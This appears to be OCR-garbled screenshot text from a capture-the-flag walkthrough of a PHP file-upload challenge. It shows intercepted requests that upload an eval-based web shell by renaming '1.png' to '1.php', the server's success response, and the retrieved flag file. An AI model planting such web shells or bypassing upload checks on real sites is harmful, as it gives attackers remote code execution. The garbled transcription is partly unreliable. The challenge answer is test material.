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POST /index.php HTTP/1.1

Host: 220.249.52.133:52210

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,applicationfxhtml+xml,application/xml;q=0.9,image/webp,"/";q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;g=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipartform-data; boundary=
Content-Length: 248

Origin: http://220.249.52.133:52210
Connection: close

Referer: hitp://220.249.52.133:52210/
Upgrade-Insecure-Requests: 1

413232760616368789603612687714

413232760616368789603612687714
Content-Disposition: form-data; name="upfile"; filename="1.png"
Content-Type: image/png

<?php @eval($_POST[flag]);?>
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Target | Proxy | Spider | Scanner | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alerts
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POST findex.php HTTP/1.1 HTTP/1.1 200 OK

0
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Host: 220.249.52.133:52210

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0)
Gecko/20100101 Firefox/80.0

Accept:

text/html application/xhtml+xml,applicati q=0.9 image/webp,"/*;q=0.
8

Accept-Language:

zh-CN,zh;q=0.8 2h-TW;q=0.7 zh-HK;q=0.5 ,en-US;¢=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=----------memmme oo 413232760616368789603612687714
Content-Length: 248

Origin: http://220.249.52.133:52210

Connection: close

Referer: http://220.249.52.133:52210/

Upgrade-Insecure-Requests: 1

----------------------------- 413232760616368789603612687714
Content-Disposition: form-data; name="upfile"; flename="1.php"
Content-Type: image/png

<?php @eval($_POST[flag]);?>
............................. 413232760616368789603612687714--
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Date: Sat, 12 Sep 2020 10:13:07 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.37

Vary: Accept-Encoding

Content-Length: 956

Connection: close

Content-Type: text/html; charset=UTF-8

upload success : upload/1599905587.1.php

<IDoctype htmi>

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<script type="textjavascript">

Array.prototype.contains = function (obj) {
var i = this.length;
while (i) {
if (this[i] === obj) {
return true;

}
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@ index.php 2018-09-12 01:54:42 1.35 Kb 0664
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™ 4ifii: /var/www/html/flag.php

Jvar/www/html/flag.php = Kl

1 <?php
2 $flag="cyberpeace{9575ab47a40043e26¥97c3f844640e55}";
3 »
4

BEIR & Hflagll:
cyberpeace{9575ab47a40043e26f97c3f844640e55}
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